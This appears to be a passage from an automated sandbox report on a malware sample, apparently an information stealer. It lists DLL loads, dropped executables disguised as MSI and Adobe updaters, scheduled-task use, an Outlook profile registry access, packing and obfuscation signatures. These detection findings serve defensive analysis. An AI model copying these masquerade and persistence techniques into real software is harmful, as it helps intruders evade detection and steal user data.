Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: mscoree.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: apphelp.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: version.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: windows.storage.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: wldp.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: mscoree.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: version.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: windows.storage.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: wldp.dll
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: mscoree.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: version.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: mscoree.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: version.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\MPGPH1\MPGPH1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: d3d11.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dxgi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: d3d10warp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dxcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: devobj.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: d3d11.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dxgi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: d3d10warp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dxcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: devobj.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Section loaded: wldp.dll
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\ProgramData\MPGPH1\MPGPH1.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
Source: C:\Users\user\Desktop\OJa1BOigU3.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: OJa1BOigU3.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: OJa1BOigU3.exe Static file information: File size 6990616 > 1048576
Source: OJa1BOigU3.exe Static PE information: Raw size of .vmp is bigger than: 0x100000 < 0x5cc200
Source: Binary string: NETCrypt.pdb source: OJa1BOigU3.exe, 00000000.00000003.2278188796.00000000068DA000.00000004.00000020.00020000.00000000.sdmp, U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000000.2287643902.0000000000BB2000.00000002.00000001.01000000.00000008.sdmp, U8cABsPhZFkKRrQ4rE0N.exe.0.dr, lumma2804[1].exe.0.dr, MSIUpdaterV1.exe0.0.dr
Source: Binary string: RegAsm.pdb source: RegAsm.exe, 00000019.00000002.3510229323.0000000000ED6000.00000004.00000020.00020000.00000000.sdmp, MPGPH1.exe, 00000024.00000000.2415322338.0000000000482000.00000002.00000001.01000000.0000000F.sdmp, RegAsm.exe, 0000002A.00000002.3509011004.0000000001236000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.0000000001554000.00000004.00000020.00020000.00000000.sdmp, MPGPH1.exe.25.dr, RageMP1.exe.25.dr
Source: Binary string: d:\DMG_1102CTP\src\ndp\fx\src\DataWeb\Server\objr\i386\Microsoft.Data.Services.pdb source: Microsoft.Data.Services.dll
Source: Binary string: RegAsm.pdb4 source: RegAsm.exe, 00000019.00000002.3510229323.0000000000ED6000.00000004.00000020.00020000.00000000.sdmp, MPGPH1.exe, 00000024.00000000.2415322338.0000000000482000.00000002.00000001.01000000.0000000F.sdmp, RegAsm.exe, 0000002A.00000002.3509011004.0000000001236000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.0000000001554000.00000004.00000020.00020000.00000000.sdmp, MPGPH1.exe.25.dr, RageMP1.exe.25.dr

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: lumma2804[1].exe.0.dr, gBMthepoZSL1ZVKpeA.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: U8cABsPhZFkKRrQ4rE0N.exe.0.dr, gBMthepoZSL1ZVKpeA.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: AdobeUpdaterV1.exe0.0.dr, gBMthepoZSL1ZVKpeA.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: MSIUpdaterV1.exe0.0.dr, gBMthepoZSL1ZVKpeA.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .vmp
PE file contains an invalid checksum
Source: AdobeUpdaterV1.exe0.0.dr Static PE information: real checksum: 0x0 should be: 0x81d01
Source: lumma2804[1].exe.0.dr Static PE information: real checksum: 0x0 should be: 0x81d01
Source: retailerTest[1].exe.0.dr Static PE information: real checksum: 0x1d9ce2 should be: 0x1cf7d3
Source: MSIUpdaterV1.exe1.0.dr Static PE information: real checksum: 0x1d9ce2 should be: 0x1cf7d3
Source: v6ggwc2fJXXgIu5fzDQ2.exe.0.dr Static PE information: real checksum: 0x1d9ce2 should be: 0x1cf7d3
Source: U8cABsPhZFkKRrQ4rE0N.exe.0.dr Static PE information: real checksum: 0x0 should be: 0x81d01
Source: AdobeUpdaterV1.exe1.0.dr Static PE information: real checksum: 0x1d9ce2 should be: 0x1cf7d3
Source: MSIUpdaterV1.exe0.0.dr Static PE information: real checksum: 0x0 should be: 0x81d01
PE file contains sections with non-standard names
Source: OJa1BOigU3.exe Static PE information: section name: .vmp
Source: OJa1BOigU3.exe Static PE information: section name: .vmp
Source: OJa1BOigU3.exe Static PE information: section name: .vmp
Source: Retailer_prog[1].exe.0.dr Static PE information: section name: .vmp
Source: Retailer_prog[1].exe.0.dr Static PE information: section name: .vmp
Source: Retailer_prog[1].exe.0.dr Static PE information: section name: .vmp
Source: 3Q7v9y6Zw0a51Z43zHih.exe.0.dr Static PE information: section name: .vmp
Source: 3Q7v9y6Zw0a51Z43zHih.exe.0.dr Static PE information: section name: .vmp
Source: 3Q7v9y6Zw0a51Z43zHih.exe.0.dr Static PE information: section name: .vmp
Source: AdobeUpdaterV1.exe.0.dr Static PE information: section name: .vmp
Source: AdobeUpdaterV1.exe.0.dr Static PE information: section name: .vmp
Source: AdobeUpdaterV1.exe.0.dr Static PE information: section name: .vmp
Source: MSIUpdaterV1.exe.0.dr Static PE information: section name: .vmp
Source: MSIUpdaterV1.exe.0.dr Static PE information: section name: .vmp
Source: MSIUpdaterV1.exe.0.dr Static PE information: section name: .vmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00445404 push esi; ret 17_2_00445405
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0042F5A3 push ebp; iretd 17_2_0042F5A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_0042CC8B push ecx; retf 17_2_0042CC92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_00444EA6 push cs; iretd 17_2_00444EA7
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_0039B2ED push ecx; ret 22_2_0039B300
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003F8349 push ecx; ret 22_2_003F835C
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003F8349 push ecx; ret 22_2_003F835C
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003F8349 push ecx; ret 22_2_003F835C
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003F8349 push ecx; ret 22_2_003F835C
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0011B2ED push ecx; ret 23_2_0011B300
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00178349 push ecx; ret 23_2_0017835C
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00178349 push ecx; ret 23_2_0017835C
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00178349 push ecx; ret 23_2_0017835C
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_00178349 push ecx; ret 23_2_0017835C
Source: lumma2804[1].exe.0.dr Static PE information: section name: .text entropy: 7.635385342087686
Source: U8cABsPhZFkKRrQ4rE0N.exe.0.dr Static PE information: section name: .text entropy: 7.635385342087686
Source: AdobeUpdaterV1.exe0.0.dr Static PE information: section name: .text entropy: 7.635385342087686
Source: MSIUpdaterV1.exe0.0.dr Static PE information: section name: .text entropy: 7.635385342087686
